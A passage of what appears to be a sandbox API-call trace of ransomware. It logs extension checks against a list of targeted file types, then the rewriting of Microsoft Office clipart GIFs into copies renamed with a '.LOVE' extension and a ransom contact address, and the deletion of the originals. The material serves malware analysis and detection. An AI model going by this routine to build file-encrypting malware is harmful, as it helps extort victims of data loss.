returned -1 [0206.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0206.388] lstrlenW (lpString=".dbf") returned 4 [0206.388] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0206.388] lstrlenW (lpString=".1cd") returned 4 [0206.388] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0206.388] lstrlenW (lpString=".jpg") returned 4 [0206.388] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0206.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0206.388] lstrlenW (lpString=".doc") returned 4 [0206.388] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.388] lstrlenW (lpString=".docx") returned 5 [0206.388] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.389] lstrlenW (lpString=".pdf") returned 4 [0206.389] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.389] lstrlenW (lpString=".xls") returned 4 [0206.389] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.389] lstrlenW (lpString=".xlsx") returned 5 [0206.389] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.389] lstrlenW (lpString=".ppt") returned 4 [0206.389] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0206.389] lstrlenW (lpString=".zip") returned 4 [0206.389] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.389] lstrlenW (lpString=".rar") returned 4 [0206.389] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.389] lstrlenW (lpString=".bz2") returned 4 [0206.389] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.389] lstrlenW (lpString=".7z") returned 3 [0206.389] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0206.389] lstrlenW (lpString=".dbf") returned 4 [0206.389] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0206.389] lstrlenW (lpString=".1cd") returned 4 [0206.389] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0206.389] lstrlenW (lpString=".jpg") returned 4 [0206.389] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.389] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.389] lstrlenW (lpString="AG00154_.GIF") returned 12 [0206.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.400] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=5315) returned 1 [0206.400] CloseHandle (hObject=0x33c) returned 1 [0206.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0x220 [0206.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.401] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.401] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0206.403] GetLastError () returned 0x0 [0206.403] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x14c3, lpOverlapped=0x0) returned 1 [0206.411] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0206.412] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.412] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.412] SetEndOfFile (hFile=0x2d8) returned 1 [0206.412] CloseHandle (hObject=0x2d8) returned 1 [0206.413] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.413] SetEndOfFile (hFile=0x33c) returned 1 [0206.414] CloseHandle (hObject=0x33c) returned 1 [0206.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0206.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0206.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0206.414] lstrlenW (lpString=".doc") returned 4 [0206.414] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.414] lstrlenW (lpString=".docx") returned 5 [0206.414] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.414] lstrlenW (lpString=".pdf") returned 4 [0206.414] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.414] lstrlenW (lpString=".xls") returned 4 [0206.415] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.415] lstrlenW (lpString=".xlsx") returned 5 [0206.415] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.415] lstrlenW (lpString=".ppt") returned 4 [0206.415] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0206.415] lstrlenW (lpString=".zip") returned 4 [0206.415] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.415] lstrlenW (lpString=".rar") returned 4 [0206.415] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.415] lstrlenW (lpString=".bz2") returned 4 [0206.415] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.415] lstrlenW (lpString=".7z") returned 3 [0206.415] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0206.415] lstrlenW (lpString=".dbf") returned 4 [0206.415] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0206.415] lstrlenW (lpString=".1cd") returned 4 [0206.415] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0206.415] lstrlenW (lpString=".jpg") returned 4 [0206.415] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0206.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0206.415] lstrlenW (lpString=".doc") returned 4 [0206.415] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.415] lstrlenW (lpString=".docx") returned 5 [0206.415] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.415] lstrlenW (lpString=".pdf") returned 4 [0206.415] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.415] lstrlenW (lpString=".xls") returned 4 [0206.415] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.415] lstrlenW (lpString=".xlsx") returned 5 [0206.415] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.415] lstrlenW (lpString=".ppt") returned 4 [0206.415] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0206.416] lstrlenW (lpString=".zip") returned 4 [0206.416] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.416] lstrlenW (lpString=".rar") returned 4 [0206.416] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.416] lstrlenW (lpString=".bz2") returned 4 [0206.416] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.416] lstrlenW (lpString=".7z") returned 3 [0206.416] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0206.416] lstrlenW (lpString=".dbf") returned 4 [0206.416] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0206.416] lstrlenW (lpString=".1cd") returned 4 [0206.416] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0206.416] lstrlenW (lpString=".jpg") returned 4 [0206.416] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.416] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.416] lstrlenW (lpString="AG00158_.GIF") returned 12 [0206.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.416] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=5030) returned 1 [0206.416] CloseHandle (hObject=0x33c) returned 1 [0206.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0x220 [0206.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.417] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.417] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0206.417] GetLastError () returned 0x0 [0206.417] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x13a6, lpOverlapped=0x0) returned 1 [0206.439] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x13b0, lpOverlapped=0x0) returned 1 [0206.440] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.440] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.440] SetEndOfFile (hFile=0x2d8) returned 1 [0206.440] CloseHandle (hObject=0x2d8) returned 1 [0206.441] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.441] SetEndOfFile (hFile=0x33c) returned 1 [0206.442] CloseHandle (hObject=0x33c) returned 1 [0206.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0206.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0206.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0206.444] lstrlenW (lpString=".doc") returned 4 [0206.444] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.444] lstrlenW (lpString=".docx") returned 5 [0206.444] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.444] lstrlenW (lpString=".pdf") returned 4 [0206.444] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.444] lstrlenW (lpString=".xls") returned 4 [0206.444] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.444] lstrlenW (lpString=".xlsx") returned 5 [0206.444] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.444] lstrlenW (lpString=".ppt") returned 4 [0206.444] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0206.444] lstrlenW (lpString=".zip") returned 4 [0206.444] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.444] lstrlenW (lpString=".rar") returned 4 [0206.444] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.444] lstrlenW (lpString=".bz2") returned 4 [0206.444] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.444] lstrlenW (lpString=".7z") returned 3 [0206.444] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0206.444] lstrlenW (lpString=".dbf") returned 4 [0206.444] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0206.444] lstrlenW (lpString=".1cd") returned 4 [0206.444] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0206.444] lstrlenW (lpString=".jpg") returned 4 [0206.444] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0206.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0206.444] lstrlenW (lpString=".doc") returned 4 [0206.444] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.445] lstrlenW (lpString=".docx") returned 5 [0206.445] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.445] lstrlenW (lpString=".pdf") returned 4 [0206.445] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.445] lstrlenW (lpString=".xls") returned 4 [0206.445] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.445] lstrlenW (lpString=".xlsx") returned 5 [0206.445] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.445] lstrlenW (lpString=".ppt") returned 4 [0206.445] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0206.445] lstrlenW (lpString=".zip") returned 4 [0206.445] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.445] lstrlenW (lpString=".rar") returned 4 [0206.445] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.445] lstrlenW (lpString=".bz2") returned 4 [0206.445] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.445] lstrlenW (lpString=".7z") returned 3 [0206.445] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0206.445] lstrlenW (lpString=".dbf") returned 4 [0206.445] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0206.445] lstrlenW (lpString=".1cd") returned 4 [0206.445] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0206.445] lstrlenW (lpString=".jpg") returned 4 [0206.445] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.446] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.446] lstrlenW (lpString="AG00163_.GIF") returned 12 [0206.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0206.447] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=6984) returned 1 [0206.447] CloseHandle (hObject=0x364) returned 1 [0206.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220 [0206.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0206.449] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.449] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.449] GetLastError () returned 0x0 [0206.449] ReadFile (in: hFile=0x378, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x1b48, lpOverlapped=0x0) returned 1 [0206.477] WriteFile (in: hFile=0x354, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1b50, lpOverlapped=0x0) returned 1 [0206.478] ReadFile (in: hFile=0x378, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.478] WriteFile (in: hFile=0x354, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.478] SetEndOfFile (hFile=0x354) returned 1 [0206.478] CloseHandle (hObject=0x354) returned 1 [0206.479] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.479] SetEndOfFile (hFile=0x378) returned 1 [0206.479] CloseHandle (hObject=0x378) returned 1 [0206.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0206.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0206.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0206.480] lstrlenW (lpString=".doc") returned 4 [0206.480] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.480] lstrlenW (lpString=".docx") returned 5 [0206.480] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.480] lstrlenW (lpString=".pdf") returned 4 [0206.480] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.480] lstrlenW (lpString=".xls") returned 4 [0206.480] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.480] lstrlenW (lpString=".xlsx") returned 5 [0206.480] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.480] lstrlenW (lpString=".ppt") returned 4 [0206.480] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0206.480] lstrlenW (lpString=".zip") returned 4 [0206.480] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.480] lstrlenW (lpString=".rar") returned 4 [0206.480] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.480] lstrlenW (lpString=".bz2") returned 4 [0206.480] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.480] lstrlenW (lpString=".7z") returned 3 [0206.480] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0206.481] lstrlenW (lpString=".dbf") returned 4 [0206.481] lstrcmpiW (lpString1=".dbf", 